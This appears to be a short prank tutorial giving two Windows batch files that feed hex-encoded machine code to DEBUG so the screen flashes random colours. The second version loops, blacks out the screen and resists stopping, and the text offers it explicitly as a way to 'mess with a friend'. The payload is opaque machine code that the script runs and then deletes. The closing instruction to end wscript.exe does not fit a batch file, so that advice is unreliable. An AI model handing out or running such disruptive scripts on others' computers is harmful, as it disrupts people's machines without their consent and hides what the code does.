THRETEN BY MAKING SCREEN FLASH

To make a really cool batch file that can make your entire screen flash random colors until you hit a key to stop it, simply copy and paste the following code into notepad and then save it as a .bat file.

@echo off
echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>\z.dbg
echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>\z.dbg
echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>\z.dbg
echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>\z.dbg
echo g=100>>\z.dbg
echo q>>\z.dbg
debug <\z.dbg>nul
del \z.dbg
But if you really want to mess with a friend then copy and paste the following code which will do the same thing except when they press a key the screen will go black and the only way to stop the batch file is by pressing CTRL-ALT-DELETE.
@echo off
:a
echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>\z.dbg
echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>\z.dbg
echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>\z.dbg
echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>\z.dbg
echo g=100>>\z.dbg
echo q>>\z.dbg
debug <\z.dbg>nul
del \z.dbg
goto a

To disable error (ctrl+shirt+esc) then end process wscript.exe
Enjoy!!!^^
